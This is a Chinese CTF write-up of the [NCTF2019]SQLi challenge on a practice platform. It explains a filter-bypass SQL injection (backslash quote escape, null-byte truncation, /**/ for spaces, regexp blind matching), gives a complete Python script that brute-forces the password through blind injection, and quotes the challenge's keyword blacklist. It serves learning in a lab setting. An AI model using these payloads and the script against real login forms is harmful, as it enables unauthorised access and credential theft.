首页 > 数据库 >[NCTF2019]SQLi

[NCTF2019]SQLi

时间:2023-01-08 23:23:11浏览次数:46  
标签:username 00 string passwd NCTF2019 SQLi flag where

[NCTF2019]SQLi

考点:sql bypass

一道sql题,非常友好的给出了sqlquery,但想必也不简单

sqlquery : select * from users where username='1' and passwd='1'

这中语句非常典型,不试都能猜到必然过滤了',在username处使用\转义,语句就变成了这样:

sqlquery : select * from users where username='\' and passwd='1'

但不幸的是我们使用传统的--+#并没有办法注释掉最后的那个单引号,所以我们可以用%00的实际值(%00的urldecode)来截断最后的单引号。

因为BUU的429限制,跑字典非常的耗时,所以就随便写了个小字典跑了一下

image-20211209223445980

发现过滤了空格、like、=、and、or一些字段,还好还有些可以用的

like => regexp
空格 => /**/
or => ||

猜测这题应该就是爆破密码,我们先构造一下payload:

select * from users where username='\' and passwd='||1/**/regexp/**/"1";%00'

image-20211209223918441

select * from users where username='\' and passwd='||1/**/regexp/**/"2";%00'

image-20211209224004838

得到两个的返回页面,证实了payload的可行性,开始编写exp

from urllib import parse
import requests
import string

url = "http://968b8b9f-ecd5-47dd-8638-c3eeb5519d0b.node4.buuoj.cn:81//index.php"
string = string.ascii_lowercase + string.digits + '_'  # 猜测密码由字母 数字 下划线组成
flag = ''
num = 0
for i in range(60):
    if num == 1:
        break
    for j in string:
        data = {
            "username":
            "\\",
            "passwd":
            "||/**/passwd/**/regexp/**/\"^{}\";{}".format(
                flag + j, parse.unquote("%00"))
        }
        r = requests.post(url, data=data)
        while (r.status_code == 429):  # 避免访问次数过快产生429从而终止脚本
            r = requests.post(url, data=data)
        if "welcome" in r.text:
            flag += j
            print(flag)
            break
        if j == '_' and 'welcome' not in r.text:  # 终止条件
            num += 1
            break

有的小伙伴就会问了,我的string变量中并未加入大写字母诶,sql语句对大小写不敏感所以无需区分大小写。

image-20211210153816963

还有一个要注意的是,%00需要urldecode加入才有用,不然不能起到截断的作用。

image-20211210153908825

密码爆出来后,随便使用一个用户名登陆就可以获得flag了,这里将admin给过滤掉了。

经过看其他师傅的wp,发现通过dirsearch扫描出了robots.txthint.txt,提示如下:

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

标签:username,00,string,passwd,NCTF2019,SQLi,flag,where
From: https://www.cnblogs.com/seizer/p/17035725.html

相关文章

  • Sqlite
    sqlite百度百科:SQLite_百度百科(baidu.com)sqlite原理SQLite引擎不是个程序与之通信的独立进程,而是连接到程序中成为它的一个主要部分。所以主要的通信协议是在编程语言......
  • 在sqlite数据库使用sql查询显示表头列和自动对齐列的方法
    在sqlite数据库使用sql查询的结果中是不带表头列的。如下: 上面已经显示出了SCORE表中的所有数据,但似乎显示的不太明白,因为看不出来各个数据的含义。显示表头(.headero......
  • sqlite3的使用,包括连接qt
    一、sqlite比较轻量级数据库二、类型:关系型数据库三、linux系统一般自带四、创建数据库1、在你要创建的数据的文件夹下打开cmd2、执行:sqlite3testBase.db ......
  • android SQLite使用SQLiteOpenHelper类对数据库进行操作
    一、SQLite介绍 SQLite是android内置的一个很小的关系型数据库。 SQLite的官网是http://www.sqlite.org/,可以去下载一些文档或相关信息。 博客中有一篇有稍......
  • sqlite3 cli 快速查询数据库内容
    原文链接https://www.digitalocean.com/community/tutorials/how-to-install-and-use-sqlite-on-ubuntu-20-04sudoaptupdatesudoaptinstallsqlite3sqlite3--versi......
  • C# WPF中使用SqLite-net数据库
    在研究安卓手机与pc电脑使用数据线进行数据传输的过程中(为啥这么二,因为甲方人员不允许使用互联网,就算是内部的局域网wifi都不可以),涉及到了WPF操作安卓常用数据库SqlLite的......
  • 一款.NET下的性能超高的SQLite操作库
    SQLite 已经成为小型数据库的王者,成为构建桌面程序、小型 Web 应用等必不可少的工具。给广大 .NETer 推荐一款.NET下的 SQLite 包装库 SQLite-net,非常好用,性能也......
  • electron + go 如何从sqlite获取数据
    我现在的数据在sqlite中,保存在mac本地的一个文件中。用了electron+vue搭建了一个客户端。我大概希望是这样的逻辑,先加载本地db文件,然后再获取数据。这里就有一个问题,我......
  • sqli-laba靶场搭建
    windows下安装sqli-laba环境:windows10安装phpstudy1.下载并安装小皮面板phpstudy(傻瓜式安装)https://www.xp.cn/windows-panel.html开启图中服务下载sql......
  • 问题:django中对datetime类型数据在pycharm中sqlite3进行修改时,修改后datetime日期数据
    这是正在修改的  提交完之后  问题原因是sqlite数据库对日期类型不敏感,Pycharm直接插入会变成图中这样的时间戳,用POST请求添加数据或Django自带的后台管理插入不......